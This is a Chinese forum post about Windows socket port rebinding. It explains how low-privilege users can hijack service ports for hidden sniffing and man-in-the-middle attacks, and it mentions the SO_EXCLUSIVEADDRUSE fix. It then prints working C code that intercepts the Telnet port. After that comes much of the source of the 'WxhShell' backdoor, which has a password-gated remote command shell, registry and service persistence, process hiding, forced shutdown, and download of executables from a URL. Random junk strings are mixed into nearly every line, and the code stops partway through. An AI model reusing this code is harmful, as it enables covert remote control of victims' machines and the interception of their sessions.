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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,BK6a'1J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A)5-w`1  
3Y\7+975m  
  saddr.sin_family = AF_INET; hjuzVOE|W  
_%HpB=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 81\$X  
'~dE0ohWb  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K3eYeXV  
w#?@ulr]d  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Hpo/CY/  
0-)D`s%  
  这意味着什么?意味着可以进行如下的攻击: $ae*3L>5M  
9n$0OH /q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '64&'.{#>r  
>28.^\?H4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4$~]t:n  
J`6X6YZ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~~U2Sr  
?e? mg  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0D;MW  
$rB20!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 dx=\Pq  
}3tbqFiH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |!r.p_Zt  
N=qe*Rlf  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 vYh_<Rp5  
O"otzla  
  #include 5zebH  
  #include %5X}4k!p  
  #include !i0jk,[B=  
  #include    /Q7cQ2[EU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ZE#f{qF(  
  int main() j@1rVOmK  
  { d^"dL" Q6m  
  WORD wVersionRequested; #!Iez vWf  
  DWORD ret; _Qy3A T~  
  WSADATA wsaData; =AFTB<7-^  
  BOOL val; +/A`\9QT  
  SOCKADDR_IN saddr; E"ju<q/Q  
  SOCKADDR_IN scaddr; < bHu9D  
  int err; UWdPB2x[  
  SOCKET s; @PXb^x#k  
  SOCKET sc; G)(\!0pNZ  
  int caddsize; H'Mc]zw_,  
  HANDLE mt; zj!&12w%3  
  DWORD tid;   #A8d@]Ps  
  wVersionRequested = MAKEWORD( 2, 2 ); Cdjh/+!f  
  err = WSAStartup( wVersionRequested, &wsaData ); fvajNP  
  if ( err != 0 ) { u$%>/cv  
  printf("error!WSAStartup failed!\n"); ,`7;S,f  
  return -1; cD-.thHO  
  } A>"v1Wk  
  saddr.sin_family = AF_INET; njk.$]M|nf  
   zE{@'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;T0Y= yC  
P# o/S4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )7mX]@  
  saddr.sin_port = htons(23); *}9i@DP1,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ={9G.%W  
  { [\o+I:,}wi  
  printf("error!socket failed!\n"); 1v TncU!  
  return -1; uN`{; Av  
  } `{g8A P3  
  val = TRUE; o0-7#2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 AL.zF\?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /o =V (  
  { C;DNL^  
  printf("error!setsockopt failed!\n"); Ep% 5wR  
  return -1; 0dKI+zgr  
  } !HA[:-JCz  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |>( @n{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 I*e8 5wef  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 G Q&9b_  
k^q}F%UV  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R5LzqT,/N:  
  { Si<9O h  
  ret=GetLastError(); ^7`"wj14  
  printf("error!bind failed!\n"); 0_Hdj K  
  return -1; \Nc/W!r*9  
  } -GkNA"2M[  
  listen(s,2); ~L!*p0dS^  
  while(1) $|v_ pjUu]  
  { W4yNET%l,  
  caddsize = sizeof(scaddr); ||y5XXs  
  //接受连接请求 9X8{"J  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9Vx2VjK2'  
  if(sc!=INVALID_SOCKET) IVYWda0m  
  { QDlEby m  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); n{F$,a  
  if(mt==NULL) ~mc7O  
  { ?3!"js B  
  printf("Thread Creat Failed!\n"); q<>  
  break; W G2 E3y  
  } JZp*"UzQr  
  } SWr?>dl  
  CloseHandle(mt); DpIv <m]  
  } \1 4"Bgj1  
  closesocket(s); 4[z a|t  
  WSACleanup(); ;dl>  
  return 0; tE0DST/  
  }   3Oy-\09  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8tWOVLquJ  
  { qO=_i d  
  SOCKET ss = (SOCKET)lpParam; #5GIO  
  SOCKET sc; -bHQy:  
  unsigned char buf[4096]; YmM+x=G:  
  SOCKADDR_IN saddr; VOBzB]  
  long num; u7>b}+ak&  
  DWORD val; @sly-2{e1  
  DWORD ret; D'aq^T'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~LPxVYhK  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   QRj>< TKi  
  saddr.sin_family = AF_INET; {aI8p}T  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r]eeKV,{p  
  saddr.sin_port = htons(23); 6#XB'PR2p  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ODK$G [-  
  { Y:C7S~  
  printf("error!socket failed!\n"); E 3b`GRay  
  return -1; Y) Y`9u<?  
  } !oeu  
  val = 100; <Vyv)#32o3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) orn9;|8q  
  { oxE'u<  
  ret = GetLastError(); ;crQ7}k  
  return -1; $x5P5^Y  
  } n(.y_NEgV!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]gYnw;W$  
  { ]]{$X_0n  
  ret = GetLastError(); D3V5GQ\=  
  return -1; 0es[!  
  } X3#/|>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FL!W oTB  
  { 5T;M,w6DV  
  printf("error!socket connect failed!\n"); I|lz;i}$  
  closesocket(sc); Z~{0XG\Y  
  closesocket(ss); 2g1[ E_?  
  return -1; <A&mc,kj  
  } i"%X[(U7  
  while(1) |R:gu\gG  
  { LZm6\x  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @s J[<V  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Pw/Z;N;:V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +MPM^m  
  num = recv(ss,buf,4096,0); g\&[;v i  
  if(num>0) m "\jEfjO  
  send(sc,buf,num,0); > 4ex:Z  
  else if(num==0) !YL|R[nDH|  
  break; ([zt}uf  
  num = recv(sc,buf,4096,0); DGr{x}Kq  
  if(num>0) 6Y6DkFdvrZ  
  send(ss,buf,num,0); {g}!M^|  
  else if(num==0) 6V\YYrUz  
  break; `HvU_ja;  
  } c%v[p8 %  
  closesocket(ss); GHeJpS  
  closesocket(sc); IbC(/i#%`  
  return 0 ; egboLqn  
  } @\v,   
O{a<f7 W  
pfgFHNH:  
========================================================== n'=-bj`  
(&0%![j&  
下边附上一个代码,,WXhSHELL A_1cM#4  
mh]'/C_*<w  
========================================================== ?-0k3  
%)T>Wn%b]v  
#include "stdafx.h" ')t :!#  
K^`3Bg  
#include <stdio.h> wXp A1,i  
#include <string.h> IW3ZHmrpA  
#include <windows.h> ]&\HAmOQS  
#include <winsock2.h> xaSvjc\  
#include <winsvc.h> 5bM/ v  
#include <urlmon.h> Zpg/T K  
X=_pQ+j`^  
#pragma comment (lib, "Ws2_32.lib") wEENN_w  
#pragma comment (lib, "urlmon.lib") gO%#'Eb2  
A,i.1U"w8  
#define MAX_USER   100 // 最大客户端连接数 "Wr5:T-;  
#define BUF_SOCK   200 // sock buffer b{<qt})  
#define KEY_BUFF   255 // 输入 buffer q}>1Rr|U`  
?D-1xnxep  
#define REBOOT     0   // 重启 duB{ 1  
#define SHUTDOWN   1   // 关机 BJ!b LQ  
o9ZHa  
#define DEF_PORT   5000 // 监听端口 GVk&n"9kp  
:@)UI,  
#define REG_LEN     16   // 注册表键长度 / PG+ s6  
#define SVC_LEN     80   // NT服务名长度 =3OK 3|  
km2('t7?  
// 从dll定义API ;LE4U OK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Jm$. $B&I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }]_/:KUt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aAZS^S4v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r=P)iE:  
0UZ>y/ C)=  
// wxhshell配置信息 fyPpzA0  
struct WSCFG { \O5`R-  
  int ws_port;         // 监听端口 |m7U^  
  char ws_passstr[REG_LEN]; // 口令 %0C<_drW  
  int ws_autoins;       // 安装标记, 1=yes 0=no u-PAi5&n  
  char ws_regname[REG_LEN]; // 注册表键名 sm5\> L3V  
  char ws_svcname[REG_LEN]; // 服务名 sS;6QkI"y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :+{G|goZ*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CY#|VE M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /ylO["<Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1ael{b!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rF:C({y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }&D~P>1  
h\\fb[``  
}; qd#?8  
RY'f%c  
// default Wxhshell configuration _@9[c9bO  
struct WSCFG wscfg={DEF_PORT, kcKcIn{  
    "xuhuanlingzhe", \"Z^{Y[,;  
    1, &<6E*qM  
    "Wxhshell", *,<A[XP  
    "Wxhshell", vdw5T&Q{{C  
            "WxhShell Service", z<aBGG  
    "Wrsky Windows CmdShell Service", D/)wg$MI  
    "Please Input Your Password: ", l+!!S"=8)~  
  1, a5=8zO#%g  
  "http://www.wrsky.com/wxhshell.exe", [P.M>"c\  
  "Wxhshell.exe" j#QJ5(#  
    }; P8!ON=  
bA}9He1  
// 消息定义模块 4-;"w;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {Q],rv|;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :8b{|}aYV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sC >_ulkoa  
char *msg_ws_ext="\n\rExit."; [ZC]O2'  
char *msg_ws_end="\n\rQuit."; zaWy7@?  
char *msg_ws_boot="\n\rReboot..."; Klfg:q:j+b  
char *msg_ws_poff="\n\rShutdown..."; )!.ef6|  
char *msg_ws_down="\n\rSave to "; A>WMPe:sSS  
it]im  
char *msg_ws_err="\n\rErr!"; }5c%v1  
char *msg_ws_ok="\n\rOK!"; m;-FP 2~  
h}-}!v  
char ExeFile[MAX_PATH]; `G*7y7  
int nUser = 0; I?` }h}7.  
HANDLE handles[MAX_USER]; P^V,"B8t  
int OsIsNt; ;6S,|rC ]  
_5TSI'@.4  
SERVICE_STATUS       serviceStatus; V/|).YG2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :T^!<W4  
HT&CbEa4'  
// 函数声明 & $E[l'  
int Install(void); uQh dg4  
int Uninstall(void); \7rAQ[\#V  
int DownloadFile(char *sURL, SOCKET wsh); .nN=M>#/  
int Boot(int flag); X`i'U7%I  
void HideProc(void); vD<6BQR  
int GetOsVer(void); iUSP+iC,  
int Wxhshell(SOCKET wsl); },58B  
void TalkWithClient(void *cs); 0K/Pth"*  
int CmdShell(SOCKET sock); S_; 5mb+b  
int StartFromService(void); k(LZ,WSR  
int StartWxhshell(LPSTR lpCmdLine); 8K+(CS>xvO  
|vW(;j6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .{+KKa $@G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +8qtFog$\g  
iV9wqUkMv  
// 数据结构和表定义 'a.n  
SERVICE_TABLE_ENTRY DispatchTable[] = J{>9ctN  
{ O/g|E47  
{wscfg.ws_svcname, NTServiceMain}, p3tu_If  
{NULL, NULL} DV+M;rs  
}; t Gt/=~n9  
iMG)zPj  
// 自我安装 ]xGo[:k|E  
int Install(void) $!Z><&^/  
{ l{b<rUh5W  
  char svExeFile[MAX_PATH]; PPoQNW  
  HKEY key; k=;>*:D%  
  strcpy(svExeFile,ExeFile); p7 s#j  
>tF3|:\  
// 如果是win9x系统,修改注册表设为自启动 @z $,KUH  
if(!OsIsNt) { GX2aV6}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 48%-lkol)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oh*Hzb  
  RegCloseKey(key); m$N` Xj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wq yw#)S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7AwV4r*:  
  RegCloseKey(key); [5[}2 B_t  
  return 0; =$bJ`GpJ  
    } GJZGHUB=>  
  } PJd7t% m;  
} h>ZNPP8N  
else { 9%fd\o@X  
oCtg{*vp  
// 如果是NT以上系统,安装为系统服务  )ph**g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OJ#eh w<  
if (schSCManager!=0) j,<3[  
{ hxG=g6:G  
  SC_HANDLE schService = CreateService V|6PKED  
  ( +'fy%/  
  schSCManager, MZYh44  
  wscfg.ws_svcname, D#%aow'(7  
  wscfg.ws_svcdisp, Ah^0FU%!g  
  SERVICE_ALL_ACCESS, ed3d 6/%HR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~ZrSoVP=  
  SERVICE_AUTO_START, Mc8|4/<Z  
  SERVICE_ERROR_NORMAL, u&4CXv=  
  svExeFile, 5ggmS<=  
  NULL, fZQL!j4  
  NULL, jA'qXc+\  
  NULL, t "y[  
  NULL, -NzO,?  
  NULL (PVK|Q55y  
  ); _N`'R.va  
  if (schService!=0) j^4KczJl  
  { zk6al$3R  
  CloseServiceHandle(schService); )1CYs4lp  
  CloseServiceHandle(schSCManager); )"( ojh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8aDSRfv*  
  strcat(svExeFile,wscfg.ws_svcname); ,m4M39MWJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JA]TO (x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0!4;."S  
  RegCloseKey(key); G.j  R  
  return 0; '5^$v{  
    } g/*x;d=  
  } m(2(Caz{  
  CloseServiceHandle(schSCManager); "n<rP 3y  
} 7JC^+ rk  
} 4Vv~  
u_kcuN\Sq  
return 1; ceiUpWMu,  
} k8>(-W"A  
}s*H| z  
// 自我卸载 VSm[80iR0  
int Uninstall(void) 8]SJ=c"}Xf  
{ $? 'JePC  
  HKEY key; '*4>&V.yX  
*[ ' n8Z  
if(!OsIsNt) { i 4sd29v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D8 S?xK7[  
  RegDeleteValue(key,wscfg.ws_regname); qcN{p7=0  
  RegCloseKey(key); ] lBe   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }Iyr u3M][  
  RegDeleteValue(key,wscfg.ws_regname); Z)V m,ng  
  RegCloseKey(key); ,(1n(FZ  
  return 0; l ~bjNhk  
  } )7X+T'?%  
} B: '}SA{  
} ~Onj| w7  
else { 72i ]`   
;N+ v x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f+ }Rj0A  
if (schSCManager!=0) ;HKb  
{ }kNbqwVP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]m fI$p%  
  if (schService!=0) )^Ha?;TS  
  { rwZI;t$hf  
  if(DeleteService(schService)!=0) { tQ:g#EqL9B  
  CloseServiceHandle(schService); tVAWc$3T  
  CloseServiceHandle(schSCManager); C(=$0FIR  
  return 0; h;q= <[h\  
  } m=s aUhI*9  
  CloseServiceHandle(schService); ">{Ruv}$  
  } 4jWzYuI&J  
  CloseServiceHandle(schSCManager); s=[Tm}[  
} uq/z.m  
} m7dpr$J  
`5HFRgL`.  
return 1; +2DzX/3  
} ^Vbx9UN/  
!b !C+ \v  
// 从指定url下载文件 |iGfX,C|  
int DownloadFile(char *sURL, SOCKET wsh) xgdS]Sz  
{ i146@<\G{P  
  HRESULT hr; L9lNAiOH  
char seps[]= "/"; |*G$ilu  
char *token; dz3KBiq  
char *file; ?MW *`U  
char myURL[MAX_PATH]; 9+z5 $  
char myFILE[MAX_PATH]; 2yB@)?V/  
{2A| F{7>  
strcpy(myURL,sURL); S1Z~-i*w  
  token=strtok(myURL,seps); >e g8zN  
  while(token!=NULL) t)#d R._q  
  { 9/8#e+L  
    file=token; OpNTyKbaD  
  token=strtok(NULL,seps); S":55YQev!  
  } #!A'6SgbkM  
|8QXjzH  
GetCurrentDirectory(MAX_PATH,myFILE); ^#6"d+lp  
strcat(myFILE, "\\"); Q140b;Z  
strcat(myFILE, file); {Df97n%h;  
  send(wsh,myFILE,strlen(myFILE),0); DH@]d0N  
send(wsh,"...",3,0); O^Y}fo'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =up!lg^M  
  if(hr==S_OK) \d"uR@$3mG  
return 0; T[ ~8u9/  
else A#b`{C~l  
return 1; *btLd7c%  
Q|gw\.]$&[  
} X@["Jjp  
g':/hlQ  
// 系统电源模块 (f-Mm0%[  
int Boot(int flag) `:aml+  
{ ^R g=*L  
  HANDLE hToken; 34D7qR  
  TOKEN_PRIVILEGES tkp; [!g$|   
iXF iFsb  
  if(OsIsNt) { z: ;ZPSn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TO,XN\{y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o@6hlLr  
    tkp.PrivilegeCount = 1; gv6}GE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Zb \E!>V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vU4Gw4  
if(flag==REBOOT) { 0mb|JoE(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tny^sG/'  
  return 0;  L+=pEk_  
} \! *3bR  
else { n?UFFi+a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u{asKUce\  
  return 0; 6\+ ZTw  
} jD<fu  
  } M1Frn n  
  else { %Voq"}}N  
if(flag==REBOOT) { Y=NXfTc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;Dw6pmZ  
  return 0; l[,RA?i {  
} `<?{%ja  
else { (TX\vI&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u|.c?fW'3  
  return 0; EgYM][:UU  
} M0B6v} ^H  
} LH:M`\(DL1  
tx+KxOt9Y  
return 1; A^%li^qz  
} 4lb(qKea  
<n+]\a97*  
// win9x进程隐藏模块 x5X;^.1Fr  
void HideProc(void) >qqI6@h]c  
{ rfz\DvV d  
M*+MhM-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tc|`cB3f  
  if ( hKernel != NULL ) ?<*mIf:?  
  { RaT_5PH~g  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hja;d1yH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kPuI'EPK  
    FreeLibrary(hKernel); ~Z{IdE  
  } ( !THd  
'XbrO|%  
return; >u-6,[(5X*  
} K> rZJ[a  
(V06cb*42[  
// 获取操作系统版本 7\T~K Yb?  
int GetOsVer(void) hx5oTJR  
{ G\;a_]Q  
  OSVERSIONINFO winfo; ytDp 4x<W)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7 6} a  
  GetVersionEx(&winfo); `R\nw)xq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Miw*L;u@W  
  return 1; xn &$qLB  
  else @)IHd6 R  
  return 0; x!i(M>P  
} |_} LMkU)  
,Fv8&tR  
// 客户端句柄模块 _MI8P/  
int Wxhshell(SOCKET wsl) 46(=*iT&V  
{ H[x$65ND  
  SOCKET wsh; p`PBPlUn  
  struct sockaddr_in client; 6Hh\ys  
  DWORD myID; R.Uwf  
2~wIHtd  
  while(nUser<MAX_USER) 3j h: K   
{ #+Pk_?  
  int nSize=sizeof(client); O} &%R:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eM) I%  
  if(wsh==INVALID_SOCKET) return 1; D,c53B6M  
'G#T 6B!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^p}S5,  
if(handles[nUser]==0) drM@6$k  
  closesocket(wsh); oPbxe  
else [bK5q;#U4  
  nUser++; }5nVZ;  
  } j-CSf(qIj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v 0 3  
^'Z?BK  
  return 0; } vzNh_  
} V~~4<?=A  
>Av[`1a2F  
// 关闭 socket p-S&Wq  
void CloseIt(SOCKET wsh) C 7a$>#%  
{ G9YfJ?I  
closesocket(wsh); f)b+>!  
nUser--; Dus [N< w  
ExitThread(0); A@?Rj  
} j{`C|zg  
}j_2K1NS{  
// 客户端请求句柄 KT9!R  
void TalkWithClient(void *cs) *Bm7>g6  
{ ^tr?y??k  
zT< P_l  
  SOCKET wsh=(SOCKET)cs; ~Q3y3,x  
  char pwd[SVC_LEN]; V9 J`LQ\0  
  char cmd[KEY_BUFF]; wr~Ydmsf  
char chr[1]; *?o`90HHP[  
int i,j; L T2UY*  
FD*) @4<o  
  while (nUser < MAX_USER) { [ e6zCN^t  
;WqWD-C  
if(wscfg.ws_passstr) { vUNmN2pRJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )UoF*vC(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ib,BYFKEW  
  //ZeroMemory(pwd,KEY_BUFF); fK?/o]vq  
      i=0; "B34+fOur  
  while(i<SVC_LEN) { <pXF$a:s  
[J-uvxD  
  // 设置超时 knS(\51A  
  fd_set FdRead; ER'zjI>t@  
  struct timeval TimeOut; {: H&2iF  
  FD_ZERO(&FdRead); h't! 1u  
  FD_SET(wsh,&FdRead); 4[P]+Z5b+  
  TimeOut.tv_sec=8; j]X $7  
  TimeOut.tv_usec=0; tEbR/? ,GI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~TvKMW6/#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MJ..' $>TC  
"rJJ~[Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x&4gy%b  
  pwd=chr[0]; d7 W[.M$]  
  if(chr[0]==0xd || chr[0]==0xa) { kM;fxR:-  
  pwd=0; ?\.DG`Zxc  
  break; S5(VdMd"^  
  } oj'a%mx  
  i++; <} BuU!  
    } k7cM.<s!  
QO;OeMQv%  
  // 如果是非法用户,关闭 socket #<k L.e[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G< _<j}=  
} Q&k1' nT5  
-L6YLe%w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =uil3:,[S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &9ZrZ"]  
y~'h/tjM@=  
while(1) { \YZ7  
TilCP"(6D  
  ZeroMemory(cmd,KEY_BUFF); E8LZ% N#  
6dlV:f_\y  
      // 自动支持客户端 telnet标准   Gtm|aR{OS  
  j=0; " R5! VV  
  while(j<KEY_BUFF) { >K@Y8J+ e#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lB< kf1[  
  cmd[j]=chr[0]; N\nxo0sl  
  if(chr[0]==0xa || chr[0]==0xd) { OciPd/6  
  cmd[j]=0; KM:k<pvi  
  break; 8TH fFL  
  } XN Gw@$  
  j++; j-%@A`j;  
    } RO!em~{D*  
g-8D1.U  
  // 下载文件 $uj3W<iw3E  
  if(strstr(cmd,"http://")) { >&Ios<67g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OC5\3H  
  if(DownloadFile(cmd,wsh)) nb|KIW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,CED%  
  else p2I9t|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P~^VLnw  
  } Iss)7I  
  else { ON-zhT?v  
41XS/# M$*  
    switch(cmd[0]) { :oeDksld  
  6>)oG6  
  // 帮助 |1/UC"f  
  case '?': { ;%`oS.69  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q dQQt5Y'm  
    break; 98ot{+/LK  
  } (`cXS5R  
  // 安装 PO@b9O  
  case 'i': { J`d_=C?J  
    if(Install()) ah2L8jN"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /JGET  
    else 3vC"Q!J&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4 >`2vb  
    break; /73ANQ"  
    } C &~s<tcn  
  // 卸载 hYSzr-)  
  case 'r': { Pu0 <Clh  
    if(Uninstall()) # KgDOCQH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3IyNnm=u  
    else 0Bn35.K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'jA>P\@8  
    break; k"$E|$  
    } W&Xm_T[ Q  
  // 显示 wxhshell 所在路径 GC3WB4iY@U  
  case 'p': { <nk7vo?Ks  
    char svExeFile[MAX_PATH]; e anR$I;Yj  
    strcpy(svExeFile,"\n\r"); <_>xkQbn2  
      strcat(svExeFile,ExeFile); VOkSR6  
        send(wsh,svExeFile,strlen(svExeFile),0); Gv\:Agi  
    break; ;^f ;<  
    } CBKLct>  
  // 重启 );!IGcgF  
  case 'b': { 4Je[!X@C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8_=MP[(H  
    if(Boot(REBOOT)) 4T??8J-J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LM2S%._cj;  
    else { $i9</Es P  
    closesocket(wsh); es!>u{8)  
    ExitThread(0); X6-;vnlKN  
    } ANuO(^  
    break; 8$~^-_>n/  
    } &G$K. q  
  // 关机 UNF@%O4_T  
  case 'd': { DcRvZH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >`=9So_J  
